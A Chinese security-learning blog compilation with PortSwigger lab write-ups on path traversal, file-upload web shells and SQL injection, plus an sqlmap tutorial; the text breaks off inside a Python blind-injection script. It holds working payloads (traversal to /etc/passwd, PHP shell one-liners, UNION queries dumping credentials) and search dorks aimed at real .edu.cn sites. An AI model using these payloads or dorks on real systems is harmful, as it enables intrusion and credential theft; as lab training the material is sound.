Markdown语法

快捷键汇总

功能快捷键功能快捷键
加粗Ctrl+B插入图像Ctrl+Shift+I
斜体Ctrl+I删除线Alt+Shift+5
下划线Ctrl+U公式块Ctrl+Shift+M
超链接Ctrl+K代码块Ctrl+Shift+K
表格Ctrl+T代码段Ctrl+Shift+`
引用>+空格退出引用Shift+Tab
段落Ctrl+0有序列表Ctrl+Shift+[
标题Ctrl+数字无序列表Ctrl+Shift+]
全选Ctrl+A选中行/句Ctrl+L
选中段落Ctrl+E选中当前词Ctrl+D
跳转所选Ctrl+J跳转文首/末Ctrl+Home/End
源代码模式Ctrl+/
阅读全文 »

什么是路径遍历

路径遍历也称为目录遍历。这些漏洞可使攻击者在运行应用程序的服务器上读取任意文件。这可能包括:

  • 应用程序代码和数据

  • 后端系统的凭证

  • 敏感的操作系统文件。

在某些情况下,攻击者可能能够写入服务器上的任意文件,从而修改应用程序数据或行为,并最终完全控制服务器。

通过路径遍历读取任意文件

Lab: File path traversal, simple case

想象一下,一个购物应用程序会显示待售商品的图片。可以使用以下 HTML 加载图片:

1
<img src="/loadImage?filename=218.png">

loadImageURL 接收一个filename参数,并返回指定文件的内容。图像文件存储在磁盘的 /var/www/images/ 目录中。要返回图像,应用程序会将请求的文件名追加到该基本目录,并使用文件系统 API 读取文件内容。换句话说,应用程序会从以下文件路径读取内容:

1
/var/www/images/218.png

该应用程序没有针对路径遍历攻击实施任何防御措施。因此,攻击者可以请求以下 URL,从服务器文件系统中检索 /etc/passwd 文件:

1
https://insecure-website.com/loadImage?filename=../../../etc/passwd

这将导致应用程序从以下文件路径读取数据:

1
/var/www/images/../../../etc/passwd

../序列在文件路径中有效,表示在目录结构中上移一级。连续三个../顺序从 /var/www/images/上移到文件系统根目录,因此实际读取的文件是:

1
/etc/passwd

在基于 Unix 的操作系统上,这是一个标准文件,包含服务器上注册用户的详细信息,但攻击者可以使用相同的技术检索其他任意文件。

在 Windows 系统中,…/ 和 …\都是有效的目录遍历序列。下面是一个针对基于 Windows 的服务器的等效攻击示例:

1
https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini

该实验室在显示产品图像时存在路径遍历漏洞。要解决该实验问题,请检索 /etc/passwd文件的内容。

image-20250430160204983

这一题很简单。把参数改一下就可以了。

利用路径遍历漏洞的常见障碍

Lab: File path traversal, traversal sequences blocked with absolute path bypass

许多将用户输入置入文件路径的应用程序都有针对路径遍历攻击的防御措施。这些防御措施往往可以被绕过。

如果应用程序从用户提供的文件名中删除或阻止目录遍历序列,就有可能利用各种技术绕过防御。

您可以使用文件系统根目录下的绝对路径(如 filename=/etc/passwd)来直接引用文件,而无需使用任何遍历序列。

该实验室在显示产品图像时存在路径遍历漏洞。应用程序会阻止遍历序列,但会将所提供的文件名视为默认工作目录的相对文件名。要解决该实验问题,请检索 /etc/passwd 文件的内容。

  • 这道题阻止了相对目录遍历序列,但是可以用绝对路径

image-20250430162204471

Lab: File path traversal, traversal sequences stripped non-recursively

您或许可以使用嵌套遍历序列,如 …// 或 …//。当内部序列被剥离时,这些序列会恢复为简单的遍历序列。

该实验室在显示产品图像时存在路径遍历漏洞。在使用用户提供的文件名之前,应用程序会从该文件名中删除路径遍历序列。要解决该实验问题,请检索 /etc/passwd 文件的内容。

  • 使用....//....//....//etc//passwd遍历是可以的,但是//etc//passwd不行。

image-20250430163057050

Lab: File path traversal, traversal sequences stripped with superfluous URL-decode

在某些情况下,例如在 URL 路径或multipart/form-data 请求的filename参数中,网络服务器可能会在将您的输入传递给应用程序之前去掉任何目录遍历序列。有时,您可以通过 URL 编码,甚至是双重 URL 编码来绕过这种清理。这将分别导致 %2e%2e%2f%252e%252e%252f。各种非标准编码,如 ..%c0%af..%ef%bc%8f 也可以使用。

该实验室在显示产品图像时存在路径遍历漏洞。应用程序会阻止包含路径遍历序列的输入。然后在使用输入之前对其进行 URL 解码。要解决本实验问题,请检索 /etc/passwd 文件的内容。

  • url单层编码访问失败,双重编码成功。服务器会对HTTP请求双重url解码。这里把../换成%252e%252e%252f或者..%252f就可以了。

image-20250430165746276

Lab: File path traversal, validation of start of path

应用程序可能要求用户提供的文件名以预期的基本文件夹开始,如 /var/www/images。在这种情况下,可以在所需的基本文件夹后加上适当的遍历序列。例如:filename=/var/www/images/.../.../.../etc/passwd.

  • 我用了url编码,不使用url编码也是可以的,但是这里单层解码,双层就不行了

image-20250430171637924

Lab: File path traversal, validation of file extension with null byte bypass

应用程序可能要求用户提供的文件名以预期的文件扩展名结尾,如 .png。在这种情况下,可以使用空字节在所需扩展名之前有效地终止文件路径。例如:filename=…/…/…/etc/passwd%00.png。

本实验室在显示产品图像时存在路径遍历漏洞。应用程序会验证所提供的文件名是否以预期的文件扩展名结尾。要解决该实验问题,请检索 /etc/passwd 文件的内容。

这个感觉好牛啊,希望自己慢慢积累,积跬步至千里吧。

  • 相对路径后加%00.png绕过文件后缀验证

image-20250430172259167

如何防止路径遍历攻击

防止路径遍历漏洞的最有效方法是完全避免将用户提供的输入传递给文件系统 API。许多这样做的应用程序函数都可以重写,以更安全的方式提供相同的行为。

如果无法避免将用户提供的输入传递给文件系统 API,我们建议使用两层防御来防止攻击:

  • 在处理用户输入之前对其进行验证。理想情况下,将用户输入与允许值白名单进行比较。如果做不到这一点,则要验证输入是否只包含允许的内容,例如只包含字母数字字符。

  • 验证所提供的输入后,将输入追加到基本目录,并使用平台文件系统 API 对路径进行规范化。验证规范化路径是否以预期的基本目录开始。

下面是一个根据用户输入验证文件规范路径的简单 Java 代码示例:

1
2
3
4
File file = new File(BASE_DIRECTORY, userInput);
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
// process file
}

代码逐行解析:

  1. 创建文件对象

1
File file = new File(BASE_DIRECTORY, userInput);
  • File:Java中用于表示文件或目录路径的类。

  • 构造函数参数

    • BASE_DIRECTORY:预定义的基础目录(如/safe/path),用于限制文件访问范围。
    • userInput:用户输入的路径(如data.txt../../secret.txt)。
  • 作用:将两者拼接成完整路径。例如:

    • BASE_DIRECTORY/safeuserInputfile.txt,则拼接为/safe/file.txt
    • userInput../etc/passwd,则拼接为/safe/../etc/passwd
  1. 路径规范化验证

1
2
3
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
// 处理文件
}
  • getCanonicalPath():将路径转换为绝对且唯一的规范形式:

    • 解析.(当前目录)和..(上级目录)。
    • 去除多余的斜杠(如/safe//file变为/safe/file)。
    • 解析符号链接(如将快捷方式转为真实路径)。

    例如:/safe/../etc/passwd 会被规范化为 /etc/passwd

  • startsWith(BASE_DIRECTORY):检查规范路径是否以BASE_DIRECTORY开头。

    • 若用户输入合法(如data.txt),规范路径为/safe/data.txt,验证通过。
    • 若用户输入非法(如../../etc/passwd),规范路径为/etc/passwd,验证失败。

但是这段代码应该有一定的问题,就是只要保证文件路径与BASE_DIRECTORY一致即可。比如说,如果BASE_DIRECTORY/base便可以构造/baseXXXX越权访问与文件开头与BASE_DIRECTORY一致的同级目录。

本文参考:

Path traversal

什么是文件上传漏洞?

文件上传漏洞是指网络服务器允许用户上传文件到其文件系统,而不对文件名、类型、内容或大小等进行充分验证。如果不能正确执行这些限制,即使是基本的图片上传功能也可能被用来上传任意的、具有潜在危险的文件。这甚至可能包括支持远程代码执行的服务器端脚本文件。

在某些情况下,上传文件本身就足以造成破坏。其他攻击可能涉及对文件的后续 HTTP 请求,通常是为了触发服务器执行文件。

文件上传漏洞有什么影响

文件上传漏洞的影响通常取决于两个关键因素:网站未能正确验证文件的哪个方面,无论是文件大小、类型还是内容等。文件上传成功后,对文件施加了哪些限制。

在最坏的情况下,文件类型没有得到正确验证,服务器配置允许某些类型的文件(如 .php 和 .jsp)作为代码执行。在这种情况下,攻击者有可能上传一个服务器端代码文件,该文件可作为 web shell 使用,从而有效地完全控制服务器。

如果文件名没有得到正确验证,攻击者只需上传同名文件,就能覆盖关键文件。如果服务器还存在目录遍历漏洞,这就意味着攻击者甚至可以将文件上传到意想不到的位置。

如果不能确保文件大小在预期的阈值范围内,还可能导致某种形式的拒绝服务(DoS)攻击,即攻击者填满可用磁盘空间。

文件上传漏洞是如何产生的

因为文件上传漏洞巨大的危害性,网站很少会对允许用户上传的文件不加任何限制。更常见的情况是,开发人员实施他们认为强大的验证,但这种验证要么存在固有缺陷,要么很容易被绕过。

例如,它们可能试图将危险文件类型列入黑名单,但在检查文件扩展名时却没有考虑到解析差异。与任何黑名单一样,黑名单也很容易不小心遗漏更隐蔽的文件类型,而这些文件类型可能仍然具有危险性。

在其他情况下,网站可能会尝试通过验证属性来检查文件类型,而这些属性很容易被使用 Burp Proxy 或 Repeater 等工具的攻击者操纵。

最后,即使是强大的验证措施,在构成网站的主机和目录网络中的应用也可能不一致,从而导致可被利用的差异。

网络服务器如何处理静态文件请求

在了解如何利用文件上传漏洞之前,您必须对服务器如何处理静态文件请求有一个基本的了解。

过去,网站几乎完全由静态文件组成,当用户提出请求时,网站就会向用户提供静态文件。因此,每个请求的路径都可以与服务器文件系统中的目录和文件层次结构进行 1:1 的映射。如今,网站越来越动态化,请求的路径往往与文件系统没有任何直接关系。不过,网络服务器仍然要处理一些静态文件的请求,包括样式表、图像等。

处理这些静态文件的流程大致相同。服务器会解析请求中的路径,以确定文件扩展名。然后,服务器根据扩展名和 MIME 类型之间的预配置映射列表来确定请求的文件类型。接下来会发生什么取决于文件类型和服务器配置。

  • 如果该文件类型不可执行,如图像或静态 HTML 页面,服务器可能只会在 HTTP 响应中向客户端发送文件内容。

  • 如果文件类型是可执行的,如 PHP 文件,且服务器被配置为执行此类文件,那么在运行脚本之前,服务器会根据 HTTP 请求中的头和参数来分配变量。由此产生的输出结果会在 HTTP 响应中发送给客户端。

  • 如果文件类型是可执行的,但服务器未配置为执行该类型的文件,则通常会响应错误。不过,在某些情况下,文件内容仍会以纯文本形式提供给客户端。这种错误配置偶尔会被利用来泄露源代码和其他敏感信息。你可以在我们的信息披露学习材料中看到这方面的例子。

利用不受限制的文件上传部署网络外壳

Lab: 通过Web shell 上传远程执行代码

从安全角度来看,最糟糕的情况是网站允许您上传服务器端脚本(如 PHP、Java 或 Python 文件),并将其配置为代码执行。这样,在服务器上创建自己的网络外壳就变得轻而易举了。

Web shell

Web shell是一种恶意脚本,攻击者只需向正确的端点发送 HTTP 请求,就能在远程网络服务器上执行任意命令

如果你能成功上传Web shell,你实际上就拥有了对服务器的完全控制权。这意味着你可以读写任意文件、外泄敏感数据,甚至利用服务器对内部基础架构和网络外的其他服务器进行透视攻击。例如,可以使用下面的 PHP 单行程序从服务器的文件系统中读取任意文件:

1
<?php echo file_get_contents('/path/to/target/file'); ?>

一旦上传,发送对该恶意文件的请求就会在响应中返回目标文件的内容。

本实验室包含一个易受攻击的图片上传功能。在将用户上传的文件存储到服务器文件系统之前,它没有对这些文件执行任何验证。

要解决该实验问题,请上传一个基本的PHP web shell,并使用它来外泄文件 /home/carlos/secret 的内容。使用实验室横幅中提供的按钮提交此秘密。

要解决该实验问题,请上传一个基本的 PHP web shell,并使用它来外泄文件 /home/carlos/secret 的内容。使用实验室横幅中提供的按钮提交此秘密。

您可以使用以下凭据登录自己的账户: wiener:peter

  1. 登录题目给的账户后,可以上传头像

image-20250430120836773

  1. 上传1.php文件

1
<?php echo file_get_contents('/home/carlos/secret'); ?>

image-20250430120903346

  1. 打开图像

image-20250430121009450

总结:前端无防护、后端无防护、服务器具备执行条件。

利用文件上传验证的缺陷

在网络中,你不太可能发现一个网站像我们在上一个实验室中看到的那样,对文件上传攻击没有任何防护措施。但是,有了防御措施,并不意味着它们就是强大的。有时,你仍然可以利用这些机制中的漏洞来获取网络外壳,从而远程执行代码。

文件类型验证存在缺陷

在提交 HTML 表单时,浏览器通常会在 POST请求中发送所提供的数据,内容类型为 application/x-www-form-url-encoded。这对于发送简单的文本(如姓名或地址)很合适。但它不适合发送大量二进制数据,如整个图像文件或 PDF 文档。在这种情况下,首选内容类型为 multipart/form-data

考虑一个包含上传图片、提供图片说明和输入用户名等字段的表单。提交这样的表单后,可能会得到类似下面的请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /images HTTP/1.1
Host: normal-website.com
Content-Length: 12345
Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="image"; filename="example.jpg"
Content-Type: image/jpeg

[...binary content of example.jpg...]

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="description"

This is an interesting description of my image.

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="username"

wiener
---------------------------012345678901234567890123456--

正如你所看到的,消息正文被分割成不同的部分,分别用于表单的每个输入。每个部分都包含一个 Content-Disposition 标头,它提供了与输入字段相关的一些基本信息。这些单独的部分还可能包含自己的 Content-Type 标头,告诉服务器使用此输入提交的数据的 MIME 类型。

网站尝试验证文件上传的一种方法是检查特定于输入的 Content-Type 标头是否与预期的 MIME 类型相匹配。例如,如果服务器只接收图像文件,它可能只允许图像/jpeg 和图像/png 等类型。当服务器默认信任该标头的值时,就会出现问题。如果不执行进一步的验证来检查文件内容是否真的与假定的 MIME 类型相匹配,就可以使用 Burp Repeater 等工具轻松绕过这一防御。

Lab: 绕过内容类型限制上传网络外壳

本实验室包含一个易受攻击的图片上传功能。它试图防止用户上传意外的文件类型,但需要依靠检查用户可控输入来验证。

要解决该实验问题,请上传一个基本的 PHP web shell,并使用它来外泄文件 /home/carlos/secret 的内容。使用实验室横幅中提供的按钮提交此秘密。

您可以使用以下凭据登录自己的账户: wiener:peter

  1. 上传PHP代码发现进行了前端防护

image-20250430123852944

  1. 将Content-Type修改为符合规定的内容,php代码不变,即可上传成功

image-20250430123908753

  1. 访问账户的头像通关

image-20250430123725160

总结:前端防护,限制上传的文件类型,通过Burp Suitte 修改文件名绕过检测。后端无防护,服务器具备执行条件。

防止在用户可访问的目录中执行文件

虽然从一开始就防止上传危险文件类型显然更好,但第二道防线阻止服务器执行任何漏网脚本。

为谨慎起见,服务器通常只运行其 MIME 类型已明确配置为可执行的脚本。否则,它们可能只会返回某种错误信息,或者在某些情况下,以纯文本形式提供文件内容:

1
2
3
4
5
6
7
8
9
GET /static/exploit.php?command=id HTTP/1.1
Host: normal-website.com


HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 39

<?php echo system($_GET['command']); ?>

这种行为本身可能很有趣,因为它提供了一种泄漏源代码的方法,但它使任何创建网络 shell 的尝试都化为乌有。

这种配置通常因目录而异。上传用户提供文件的目录可能比文件系统中其他位置的控制要严格得多,因为其他位置被认为是最终用户无法访问的。如果你能找到一种方法,将脚本上传到另一个不应该包含用户提供文件的目录,那么服务器终究可能会执行你的脚本。

注意:网络服务器通常使用multipart/form-data请求中的文件名字段来确定文件的名称和保存位置。

Lab:通过路径遍历上传网络 shell

该实验室包含一个易受攻击的图片上传功能。服务器被配置为防止执行用户提供的文件,但可通过利用次要漏洞(文件路径遍历)绕过此限制。要解决该实验问题,请上传一个基本的 PHP web shell,并使用它来外泄文件 /home/carlos/secret 的内容。使用实验室横幅中提供的按钮提交此秘密。您可以使用以下凭据登录自己的账户: wiener:peter

  • 按照以往的方式访问自己上传的php代码,服务器直接将php代码以文本方式返回

image-20250430183245601

  • 修改filename目录遍历语句被服务器清理

image-20250430183451599

  • 使用url编码上传成功

image-20250430183708967

  • 访问即可

image-20250430183739696

您还应注意,尽管您可能会将所有请求发送到同一域名,但这通常指向某种反向代理服务器,如负载平衡器。您的请求通常会由其他服务器在幕后处理,这些服务器的配置也可能不同。

危险文件类型黑名单不足

防止用户上传恶意脚本的一个比较明显的方法是将 .php 等潜在危险的文件扩展名列入黑名单。黑名单的做法本质上是有缺陷的,因为很难明确阻止每一个可能用于执行代码的文件扩展名。有时可以通过使用较不知名的、仍可执行的替代文件扩展名(如 .php5.shtml 等)来绕过此类黑名单。

覆盖服务器配置

正如我们在上一节所讨论的,除非经过配置,否则服务器通常不会执行文件。例如,若允许 Apache 服务器执行客户端请求的 PHP 文件,开发人员需要在 /etc/apache2/apache2.conf 文件中添加以下指令:

1
2
LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .php

许多服务器还允许开发人员在个别目录中创建特殊配置文件,以覆盖或添加一个或多个全局设置。例如,Apache 服务器会从名为 .htaccess 的文件中加载特定目录的配置(如果有的话)。

同样,开发人员可以使用 web.config 文件对 IIS 服务器进行特定目录配置。这可能包括以下指令,在本例中,这些指令允许向用户提供 JSON 文件:

1
2
3
<staticContent>
<mimeMap fileExtension=".json" mimeType="application/json" />
</staticContent>

网络服务器会使用这类配置文件,但通常不允许使用 HTTP 请求访问它们。不过,你偶尔会发现服务器无法阻止你上传自己的恶意配置文件。在这种情况下,即使你需要的文件扩展名被列入了黑名单,你也可以欺骗服务器将任意的自定义文件扩展名映射到可执行的 MIME 类型。

Lab: Web shell upload via extension blacklist bypass

本文参考:

pikachu靶场的搭建其实是比较简单的,但是我在使用docker搭建pikachu靶场的时候遇到了几个问题,使我有了一些感悟,因此特意写篇博客记录一下。

因为我已经在服务器上搭好了pikachu靶场,所以这里我用CentOS 7在虚拟机再复现一次。

本文参考:

所有命令

image-20250316160541099

SQLmap是一款「自动化」SQL注入工具,kali自带。路径 /usr/share/sqlmap

打开终端,输入sqlmap,出现以下界面,就说明SQLmap「可用」。

在这里插入图片描述

本篇文章使用本地搭建的SQL-labs靶场作为「演示」目标,其他目标可使用必应搜索以下类型的网站:

1
2
3
inurl:news.asp?id=site:edu.cn
inurl:news.php?id= site:edu.cn
inurl:news.aspx?id=site:edu.cn

在这里插入图片描述

快速入门

SQLmap(常规)使用步骤

1、检测「注入点」

1
sqlmap -u 'http://xx/?id=1'

2、查看所有「数据库」

1
sqlmap -u 'http://xx/?id=1' --dbs

3、查看当前使用的数据库

1
sqlmap -u 'http://xx/?id=1' --current-db

4、查看「数据表」

1
sqlmap -u 'http://xx/?id=1' -D 'security' --tables

5、查看「字段」

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables

6、查看「数据」

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump

检测目标

检测「注入点」前,需要指定需要检测的「对象」。

指定url

-u 参数,指定需要检测的url,单/双引号包裹。中间如果有提示,就输入y。

提示:SQLmap不能直接「扫描」网站漏洞,先用其他扫描工具扫出注入点,再用SQLmap验证并「利用」注入点。

1
sqlmap -u 'http://xx/?id=1'

扫描完成后,告诉我们存在的注入类型和使用的数据库及版本。

image-20250316162233436

指定文件(批量检测)

准备一个「文件」,写上需要检测的多个url,一行一个。

-m 指定文件,可以「批量扫描」文件中的url,需要确认就按y。

1
sqlmap -m urls.txt

指定数据库/表/字段

-D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。

-T 指定目标「表」,单/双引号包裹,常配合其他参数使用。

-C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump

post请求

检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。

-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。

1
sqlmap -r bp.txt

cookie注入

--cookie 指定cookie的值,单/双引号包裹。

1
sqlmap -u "http://xx?id=x" --cookie 'cookie'

WAF绕过

--tamper 指定绕过脚本,绕过WAF或ids等。

1
sqlmap -u 'http://xx/?id=1' --tamper 'space2comment.py'

SQLmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下:

image-20250316163642927

脚本按照用途命名,比如 space2comment.py 是指,用/**/代替空格。

当然,你也可以根据内置脚本格式,自己定义绕过脚本。

其他

--batch (默认确认)不再询问是否确认。

--level 1 执行测试的等级(1-5,默认为1,常用3)

--method=GET 指定请求方式(GET/POST)

--random-agent 随机切换UA(User-Agent)

--user-agent ' ' 使用自定义的UA(User-Agent)

--referer ' ' 使用自定义的 referer

--proxy="127.0.0.1:8080" 指定代理

--threads 10 设置线程数,最高10

--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。

--level 1 执行测试的等级(1-5,默认为1,常用3)

脱库

获取所有内容

1
sqlmap -u 'http://xx/?id=1' -a

-a 就是 all 的意思,获取所有能获取的内容,会消耗很长时间。

获取数据库

--dbs 获取数据库

1、获取数据库版本

1
sqlmap -u 'http://xx/?id=1' -b

2、获取当前使用的数据库

1
sqlmap -u 'http://xx/?id=1' --current-db

3、获取所有数据库

1
sqlmap -u 'http://xx/?id=1' --dbs

获取表

--tables 获取表

1、获取表,可以指定数据库

1
sqlmap -u 'http://xx/?id=1' -D 'security' --tables

2、同时获取多个库的表名,库名用逗号分隔。

1
sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables

3、不指定数据库,默认获取每个数据库中所有的表。

1
sqlmap -u 'http://xx/?id=1' --tables

获取字段

--columns 参数用来获取字段。

1、获取字段,可以指定库和表

提示:只指定库名但不指定表名会报错。

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns

2、不指定表名,默认获取当前数据库中所有表的字段。

1
sqlmap -u 'http://xx/?id=1' --columns

获取字段类型

--schema 获取字段类型,可以指定库或指定表。不指定则获取数据库中每个表所有字段的类型。

1
sqlmap -u 'http://xx/?id=1' -D 'security' --schema

获取值(数据)

--dump 获取值,也就是表中的数据。可以指定具体的库、表、字段。

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump

获取指定库中所有表的数据。

1
sqlmap -u 'http://xx/?id=1' -D 'security' --dump

默认获取表中的所有数据,可以使用 --start --stop 指定开始和结束的行,只获取一部分数据。

1
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --start 1 --stop 5  --dump

获取用户

1、获取当前登录数据库的用户

1
sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --current-user

2、获取所有用户

--users 获取数据库的所有用户名。

1
sqlmap -u 'http://xx/?id=1' --users

3、获取用户密码

--passwords 获取所有数据库用户的密码(哈希值)。

1
sqlmap -u 'http://xx/?id=1' --passwords

数据库不存储明文密码,只会将密码加密后,存储密码的哈希值,所以这里只能查出来哈希值;当然,你也可以借助工具把它们解析成明文。最后面显示数据库用户名对应的密码的哈希值。

6.4、获取用户权限

--privileges 查看每个数据库用户都有哪些权限。

1
sqlmap -u 'http://xx/?id=1' --privileges

6.5、判断当前用户是不是管理员

--is-dba 判断当前登录的用户是不是数据库的管理员账号。

1
sqlmap -u 'http://xx/?id=1' --is-dba

如果是管理员,就在最后面显示 true。

获取主机名

--hostname 获取服务器主机名。

1
sqlmap -u 'http://xx/?id=1' --hostname

搜索库、表、字段。

--search 搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名。

搜索数据库中有没有 security 这个数据库:

1
sqlmap -u 'http://xx/?id=1' -D 'security' --search

需要手动选择模糊匹配(1)还是完全匹配(2),而后返回匹配的结果。

image-20250316163205508

也可以搜索表

1
sqlmap -u 'http://xxx/?id=1' -T 'users' --search

或者搜索字段

1
sqlmap -u 'http://xx/?id=1' -C 'username' --search

正在执行的SQL语句

--statements 获取数据库中正在执行的SQL语句。

1
sqlmap -u 'http://xx/?id=1' --statements 

本文参考:

SQLmap使用教程图文教程(超详细)

SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

这个是查看隐藏数据的漏洞,比较简单。通过BurpSuite直接拦截修改就行。

image-20250305143611182

之所以能隐藏信息是因为后端的查询语句是

1
SELECT * FROM products WHERE category = 'Gifts' AND released = 1

因此通过我们的修改注释掉了AND released = 1

思考

首先对后端查询语句要有一定敏感程度,另外如果AND后的语句在前是否就避免了这个漏洞呢?

SQL injection vulnerability allowing login bypass

这个也非常简单,注释掉password就可以登录任意用户了。

image-20250305144942049

思考

对之前挖的几个平台做了一下尝试,没出意外都失败了。果然这么简单的洞不太好遇见。

SQL injection UNION attack, determining the number of columns returned by the query

这个使用?category=Accessones' order by 3--时不报错,使用?category=Accessones' order by 4--时报错,说明返回列有三个。但是不能直接过关,需要使用'?category=Accessones'UNION SELECT NULL,NULL,NULL--过关

image-20250305153505747

我们可以看到,虽然执行order by 4的时候报错,但是报错代码为500说明还是执行了的。在portswigger中提到:

​ As with the ORDER BY technique, the application might actually return the database error in its HTTP response, but may return a generic error or simply return no results. When the number of nulls matches the number of columns, the database returns an additional row in the result set, containing null values in each column. The effect on the HTTP response depends on the application’s code. If you are lucky, you will see some additional content within the response, such as an extra row on an HTML table. Otherwise, the null values might trigger a different error, such as a NullPointerException. In the worst case, the response might look the same as a response caused by an incorrect number of nulls. This would make this method ineffective.

因此报错语句可以作为是否存在UNION漏洞的参考

在 Oracle 中,每个 SELECT 查询都必须使用 FROM 关键字,并指定一个有效的表。Oracle 上有一个名为 dual 的内置表,可用于此目的。因此,在 Oracle 上注入的查询必须如下所示:

1
' UNION SELECT NULL FROM DUAL--

MySQL 中,--后必须跟一个空格。

有关数据库特定语法的更多详情,请参阅 SQL injection cheat sheet

SQL injection UNION attack, finding a column containing text

让找哪个列支持查找字符串,找出一共多少列以后,挨个试试就可以了

1
'+UNION+SELECT+'abcdef',NULL,NULL--
1
2
3
4
5
?category=Accessories' union select null,'Y5LIpq',null--+
或者
?category=Accessories%' union select null,'Y5LIpq',null--+
或者
?category=Accessories' and 1=2 union select null,'Y5LIpq',null--+

SQL injection UNION attack, retrieving data from other tables

让检索出管理员账号密码,然后登陆管理员的账号。这道题的重点是当遇到两个能检索出字符串的列时,如何利用。

1
' UNION SELECT username, password FROM users--

SQL injection UNION attack, retrieving multiple values in a single column

当只有一个string列可以被检索时,需要将两个列的内容连接到一个列。

这一题稍微有了一点点难度:

  1. 首先通过之前的办法看看有几个可以检索的列

  2. 然后检测哪一个列可以检索字符串

  3. 最后合并检索用户名和密码

通过检测,可以检索的列有两个,第二个可以检索字符串。将用户名和密码合并到第二列中即可,注入代码:

1
'union+select+null,username||'~~~'||password+from+users--

不同的数据库使用不同的语法来执行字符串连接。有关详细信息,请参阅SQL injection cheat sheet

然而在实际情况下,我们并不能像题目所给出的那样直接获得表名和列名。因此,现实中,我们需要首先获得数据库的表名和列名,才能对其进行查询。

1
2
3
4
5
6
7
8
9
?category=Gifts' union select null,table_name from information_schema.tables--+

列:username,password
?category=Gifts' union select null,column_name from information_schema.columns where table_name='users'--+

数据:administrator===lcv555mv2prf2m81w40v
?category=Gifts' union select null,concat(username,'===',password) from users--+

利用administrator登录

SQL injection attack, querying the database type and version on MySQL and Microsoft

获得数据库的版本号,比较简单。各个数据库查询数据库版本的语句如下:

Database typeQuery
Microsoft, MySQLSELECT @@version
OracleSELECT * FROM v$version
PostgreSQLSELECT version()

查询SQL版本的语句:

1
'union+select+null,@@version-- +

思考:

发现了一个问题,在执行SQL注入时,使用--进行注释时需要在其后添加一个空格,即-- +。然而刚开始并没有加但是还是过了,因此需要注意。另外这一题是可以使用#来注释的,但是前面的却不行,原因目前还不明白。

SQL injection attack, listing the database contents on non-Oracle databases

这一题题目没有给表单和列名,更切合实际情况,实际上跟上面的是一致的。不再过多叙述。

1
2
3
4
'union select 'a',null-- =
'union select table_name,null from information_schema.tables-- =
'union select column_name,null from information_schema.columns where table_name='users_vorbge'
'union select username_ucmiyr||'~~~'||password_unmsjv,null from users_vorbge-- =

Blind SQL injection with conditional responses

这道题吧,我个人感觉算是一道很不错的题了,对目前的我来讲已经算是很有难度了。但是同时,我也发现如果我不能缜密的去思考现实情况里会遇到的问题,靶场给我带来的收获也是有限的。因此我也决定打完SQL注入的靶场以后,先找一些SQL注入漏洞的案例复现一下,感受一下真是的场景。

在开始这道题之前呢,有必要了解一下,要解决这道题是有三个必要条件的:

  1. 正确和错误的cookie的返回包存在差异

起初我是很困惑我要多么小心翼翼才能发现Welcome back!这一句话的小小差异。然后我就恍然大悟了,我们直接对比response包的大小,如果不一样再找出哪儿不一样就可以了。

  1. cookie允许盲注

即在cookie后添加'AND '1'='1和添加'AND '1'='2返回的结果是不同的

  1. 我们要查询的表名和列名

虽然题目直接给了我们表名和列名,当我们都知道,实际情况中并不会有公司摆着洞给我们挖。因此有没有办法通过盲注获得我们需要的表名和列名呢?那当然是有的。

我们要知道,盲注语句是否执行成功我们是可以知道的。那么,是否存在一个表单或者列名,我们也是可以了解的。因此,我们依然可以通过盲注的方式获得表名和列名。

所以是可以使用Python写脚本爆破的,当然也可以用sqlmap工具,非常简便。

我打算再写一篇sqlmap的用法总结,先这里插个眼

1
2
3
4
5
6
7
8
9
10
1.首先进行sql漏洞扫描
sqlmap -u url --cookie "TrackingId=xxx"
2.然后获得当前使用的数据库名称
sqlmap -u url --current-db
3.获得所有表
sqlmap -u url -D "数据库名" --tables
4.获得users表字段
sqlmap -u url -D "数据库名" -T "users" --dump
5.获得users表中的用户名
sqlmap -u url -D "数据库名" -T "users" -C "username" --dump

在获得某用户密码的时候,本题只需要我们获得administrator的密码就可以了,考虑到密码又多又长,逐个爆破会消耗大量的时间,因此我编写了Python脚本单独对administrator用户进行爆破,脚本已经很自动化了,只需要把url和TrackingId换成子自己的就可以了。脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from time import sleep
import requests

# 请求的URL
url = "https://0a00000a04a6557481de208a005400a1.web-security-academy.net/filter?category=Pets"
username = 'administrator'
tablename = 'users'
method = 'get'
sleep_time = 0
TrackingId = 'brVO8ubeFsIHT9hw'

#cookie获取密码长度get_password_length_by_user
def get_password_length_by_user(url,username,tablename,intject_id):
for i in range(100):
cookies = {
'TrackingId': f"{intject_id}' and (select 'a' from users where username='{username}' AND LENGTH(password)>{i})='a' --+"
}
response = requests.request(url=url,method=method,cookies=cookies)
sleep(sleep_time)
